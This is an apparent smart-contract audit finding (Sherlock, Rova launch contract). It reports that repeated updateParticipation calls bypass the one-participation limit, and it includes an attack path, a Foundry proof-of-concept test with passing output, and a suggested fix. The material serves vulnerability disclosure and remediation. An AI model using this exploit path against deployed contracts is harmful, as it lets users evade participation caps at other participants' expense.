Funny Gunmetal Pig

Medium

# Attackers can bypass the `MaxUserParticipationsReached` limit by calling updateParticipation multiple times.

### Summary

As implemented in the function `participate`, when `settings.finalizesAtParticipation` is false, the user is only allowed to participate once.

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L243-L249

```solidity
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[request.launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(request.userId);
        if (userTokenAmount > 0) {
            if (!settings.finalizesAtParticipation) {
                revert MaxUserParticipationsReached(request.launchGroupId, request.userId);  <@ check
            }
        }
```

Because as long as the user has participated once, the recorded `userTokenAmount` will be greater than 0, thus triggering the revert. However, when `settings.finalizesAtParticipation` is false, updateParticipation can be executed multiple times without any checks.  As a result, an attacker would be able to create multiple participations, thereby bypassing the `MaxUserParticipationsReached` limit.


### Root Cause

The function `updateParticipation` does not limit the number of times a user can participate.

### Internal Pre-conditions

1. settings.finalizesAtParticipation = false.

### External Pre-conditions

None

### Attack Path

1. The user first calls the function participate using `launchParticipationId` id1.
2. Generate two newLaunchParticipationId (id2, id3) according to id1 (prevLaunchParticipationId).
3. Call `updateParticipation` with id2.
4. Call `updateParticipation` with id3.

**If the newLaunchParticipationId generated each time is the same, then the attack can also be done like this:**

1. The user first calls the function participate using `launchParticipationId` id1.
2. Generate newLaunchParticipationId (id2) according to id1 (prevLaunchParticipationId).
3. Call `updateParticipation` with id2.
4. Request another updateParticipation signature with prevLaunchParticipationId = id2 and newLaunchParticipationId = id2, in order to update the token amont.
5. Call `updateParticipation` with id2.

### Impact

bypass the `MaxUserParticipationsReached` limit 

### PoC

Place the following code in Launch.UpdateParticipation.t.sol.

```solidity
    function test_UpdateParticipation_IncreaseAmount_twice() public {
        // Prepare update participation request
        // first update request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(1200);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));
        // second update request
        UpdateParticipationRequest memory updateRequest2 = _createUpdateParticipationRequest_with_newLaunchParticipationId(600, "newID2");
        bytes memory updateSignature2 = _signRequest(abi.encode(updateRequest2));

        vm.startPrank(user1);
        uint256 updatedCurrencyAmount =
            _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        currency.approve(address(launch), updatedCurrencyAmount * 2);

        // Expect ParticipationUpdated event
        vm.expectEmit();
        emit ParticipationUpdated(
            updateRequest.launchGroupId,
            updateRequest.newLaunchParticipationId,
            testUserId,
            user1,
            updateRequest.tokenAmount,
            address(currency)
        );

        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);

        // Verify update
        ParticipationInfo memory newInfo = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        _verifyParticipationInfo(newInfo, updateRequest);
        ParticipationInfo memory oldInfo = launch.getParticipationInfo(updateRequest.prevLaunchParticipationId);
        assertEq(oldInfo.currencyAmount, 0);
        assertEq(oldInfo.tokenAmount, 0);

        // second update
        currency.approve(address(launch), updatedCurrencyAmount);
        launch.updateParticipation(updateRequest2, updateSignature2);
        ParticipationInfo memory newInfo2 = launch.getParticipationInfo(updateRequest2.newLaunchParticipationId);
        _verifyParticipationInfo(newInfo2, updateRequest2);


        // Verify total unique participants by launch group
        assertEq(launch.getNumUniqueParticipantsByLaunchGroup(testLaunchGroupId), 1);

        vm.stopPrank();
    }


    function _createUpdateParticipationRequest_with_newLaunchParticipationId(uint256 newTokenAmount, bytes32 newLaunchParticipationId)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: newLaunchParticipationId,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
```

Output:

```shell
forge test --mt test_UpdateParticipation_IncreaseAmount_twice -vvv:58  

Ran 1 test for test/Launch.UpdateParticipation.t.sol:LaunchUpdateParticipationTest
[PASS] test_UpdateParticipation_IncreaseAmount_twice() (gas: 417003)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.11ms

Ran 1 test suite in 7.11ms: 1 tests passed, 0 failed, 0 skipped (1 total tests) 
```

### Mitigation

Limit the number of times a user can call updateParticipation. For example, check whether the token amounts of the previous participation is equal to 0.